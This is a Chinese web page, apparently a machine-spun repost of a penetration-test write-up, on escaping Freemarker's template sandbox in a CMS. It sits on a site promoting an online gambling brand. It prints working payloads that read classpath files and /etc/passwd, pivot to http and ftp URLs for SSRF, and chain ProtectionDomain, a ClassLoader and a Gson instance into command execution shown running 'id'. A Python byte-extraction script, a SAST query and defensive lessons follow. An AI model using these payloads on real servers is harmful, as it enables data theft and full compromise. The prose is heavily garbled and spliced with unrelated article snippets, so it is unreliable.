Freemarker模板注入 Bypass | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Freemarker模板注入 Bypass

申博_安全预警 申博 165次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

媒介

在近来的一次渗入测试中,我们的AppSec团队碰到了一个顺手的Freemarker服务端模板注入。由于我们在网上没有找到深切研讨这类模板注入的相干文章,因而决议写下本文,针对Freemarker注入,我们将天真变通,实验种种要领来做一些很酷的事。

概述

我们被分派测试一个内容治理体系(CMS)运用,客户运用它可以或许在网上宣布种种内容。在本次测试中,我们只具有该CMS的一些低权限账户,因而,本次测试的一个主要组成局部就是弄清楚是不是存在一些越权破绽并实验取得高权限。

经由一些探讨性测试后,我们有时发明了一个局部,用户可以或许经由历程其按钮来治理模板。这里的模板为Freemarker,此时我立马想到服务端模板注入。有一个疾速,尽人皆知的Poc常用于应用该模板猎取恣意代码实行权限:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id)}

但题目是我们的账户权限太低,没法编纂模板,因而我们起首须要提拔权限。有些荣幸,经由几个小时的勤奋我们发明其权限治理体系存在一个认证缺点,经由历程它我们取得了该站点的治理员权限。异常好!下一步,我们对准了代码实行。我们建立一个模板,粘贴Poc然后页面返回:

Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

好吧,它好像不是摧枯拉朽的。

模板类剖析器

Freemarker模板为了限定TemplateModels被实例化,在其设置装备摆设中注册了TemplateClassResolver。下面是三个预界说的剖析器:

  • UNRESTRICTED_RESOLVER:简朴地挪用ClassUtil.forName(String)
  • SAFER_RESOLVER:和第一个相似,但制止剖析ObjectConstructor, Executefreemarker.template.utility.JythonRuntime
  • ALLOWS_NOTHING_RESOLVER:制止剖析任何类。

目的运用的模板类剖析器为:ALLOWS_NOTHING_RESOLVER,以是我们没法运用?new。也就是我们不克不及运用任何TemplateModel,不克不及应用它来猎取恣意代码实行。此时,我们最先大批浏览Freemarker的文档,想要找到其他体式格局来形成服务端模板注入。

Freemarker内置的?api

经由一番征采,我发明Freemarker支撑一个内置函数:?api,经由历程它可以或许接见底层Java Api Freemarker的BeanWrappers。这个内置函数默许不开启,运用Configurable.setAPIBuiltinEnabled可以或许开启它。我们异常荣幸,由于关于目的模板我们发明该函数是开启的,因而我们探讨的偏向又多了起来。

但实行代码仍非易事:Freemarker模板有很好的平安防护,它严厉限定经由历程?api可以或许接见的类和要领。在其官方的Github存储库中,我们发明一个特征文件,该文件列出了制止挪用的名单。

简朴归结:我们没法挪用Class.forNameClass.getClassLoaderClass.newInstanceConstructor.newInstanceMethod.invoke。取得恣意代码实行权限的时机迷茫。但经由历程Java挪用和表达式肯定还存在其他风趣的要领可以或许完成,我们没有泄气,仍在继承研讨。

接见类途径中的资本

我们倏忽发明Object.getClass没有被禁用。应用它,我们可以或许经由历程模板中公然的BeanWrapper来接见Class<?>类,并从个中挪用getResourceAsStream。然后,我们就可以或许接见该运用类途径中的恣意文件了。经由历程这个要领读取文件内容有些庞杂(能够有其他捷径),我们运用了下面这段代码:

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

(注重这里的object是一个BeanWrapper,它是模板自带的数据模子之一,我们没有建立它)在衬着模板后,所选文件的每一个字节都将显现出来,而且以[]距离开来。这太烦琐了,我们运用Python剧本疾速将其转换为一个文件。

match = re.search(r'FILE:(.*),\s*(\\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
    f.write(barray)

然后,我们就可以或许列出目次的一切内容,我们可以或许接见.properties这类敏感文件,它们能够包罗一些接见凭证,还可以或许下载.jar.class文件,从而反编译猎取顺序源代码。这时候,渗入测试倏忽酿成代码审计了,我们的AppSec团队在这方面有雄厚的履历。确实我们如许做了,我们发明一个大奖,在源代码中找到了AWS的明文凭证,应用它可以或许接见高代价的AWS S3贮存桶。这是个血的经验:(开辟者)万万不克不及由于“黑客没法接见它”而将明文凭证放在源代码中。

Confluence 路径穿越漏洞分析(CVE-2019-3398)

0x01 漏洞概述 Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs, or to create a n

读取体系恣意文件

我们被困在类路劲中,很无聊,因而我们继承深切挖掘。经由历程仔细浏览Java文档后,我们发明可以或许经由历程Class.getResource的返回值来接见对象URI,该对象包罗要领toURL。由于URI供应静态要领create,经由历程该要领我们可以或许建立恣意URI,然后用otURL将其返回至URI。经由一些修正,我们组织下面这段代码来盗取体系的恣意文件:

<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

这段代码很好,但仍不是圆满的。我们运用http://https://ftp://)替换掉file://,此时一个受限的模板注入酿成一个完整的服务端模板注入了!为进一步扩大影响,我们可以或许经由历程它来查询AWS元数据。

Cool,让我们进一步探讨可否再干点甚么。

经由历程ProtectionDomain来猎取ClassLoader

从新读完Java文档的Class局部后,我们注重到了getProtectionDomain要领。经由历程该要领可以或许接见对象ProtectionDomain,偶合的是,该对象有本身的getClassLoader要领。Freemarker的unsafeMethods.properties文件没有限定挪用ProtectionDomain.getClassLoader,因而我们找到了一个经由历程模板接见ClassLoader的要领。

如今我们可以或许加载援用恣意类(即Class<?>对象),然则我们仍不克不及实例化它们或挪用其要领。只管如许,我们可以或许搜检字段,如果是static的我们还可以或许猎取它们的值(关于非静态,我们没有适宜的实例来接见它们)。这好像有点愿望,我们查猎取终究的代码实行只差一步。

恣意代码实行

前面我们经由历程getResourceAsStream要领已下载了一大堆源代码,这时候我们再次检察它们,征采可以或许可以或许加载而且有静态字段的类。一会儿后,我们找到了:一个字段为public static final的类,它是Gson的一个实例。Gson是一个谷歌建立的JSON对象操纵库,它的平安性很高。然则,我们如今可以或许接见一个实例了,要想实例化恣意类只是时间题目:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>

(我们经由历程Field.get接见静态字段,因而并不须要参数,我们只是简朴运用null。)

终究我们可以或许实例化恣意对象。然则,由于unsafeMethods.properties平安政策的存在,Runtime.getRuntime等要领没法完成,我们不克不及直接猎取代码实行。但我倏忽发明,可以或许运用Freemarker自带的模板模子Execute,而且无需运用内置的?new来实例化它。OK,题目都处置惩罚了,我们找到了猎取恣意代码实行的要领:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

反应:

uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)

SAST查询

开辟者如果在初期用SAST扫描其源代码,该题目在开辟阶段就可以处置惩罚,而不至于拖到本日,而且修复起来也更简朴。在SAST对象上,我写了下面这段查询,它是一个精彩的代码审计对象:

CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));

由于Freemarker内置的?api默许不开启,因而运用ture可以或许轻松查找setAPIBuiltinEnabled要领的挪用,并从申报效果中猎取警示。

小结

本文,我们分享了当Freemarker的TemplateClassResolver悉数禁用时怎样绕过,简介形成模板注入。经由历程应用内置的?api,我们发明猎取敏感数据的要领,而且经由历程过与某个特别类的组合来猎取恣意代码实行。

几个主要的启发

  • 起首,给予用户建立编纂动态模板的权限是异常风险的。模板言语是世界上最好的言语(●ˇ∀ˇ●),我们须要越发郑重地处置惩罚它,同时在分派权限时须要考虑到,模板编纂的权限是不是只是Web服务器治理员(防备潜伏的越权破绽)才有。
  • 内置?api是不是开启?攻击者滥用它可以或许做一些风险的事,比方下载源代码,形成SSRF或许RCE。这就是它默许封闭的缘由。除非必不得已,请勿开启它。
  • Java在开辟代码阶段供应了一些保护措施,开辟者应当重视它:当攻击者完成了JVM中的某种代码实行时,(代码中)袒露的或许经由历程Serializable类泄漏的敏感数据有着极高的风险。Freemarker自带一些保护措施(比方封闭像setAccessible如许风险的映照要领),具有优越的平安性和经得起实践的代码总能使攻击者寸步难行。

总之,这是一次异常棒的渗入测试,在发明禁用怎样剖析器时我们对猎取代码实行险些无望,但绕过的历程很风趣。另外,我们愿望这篇文章关于发明本身处于相似状况,研讨在受限或许沙盒中怎样打破限定的渗入测试者一切资助。

 

windows常见backdoor、权限维持方法及排查技术

TL;DR Definition – What does Persistence mean? Persistence refers to object and process characteristics that continue to exist even after the process that created it ceases or the machine it is running on is powered off


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Freemarker模板注入 Bypass
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址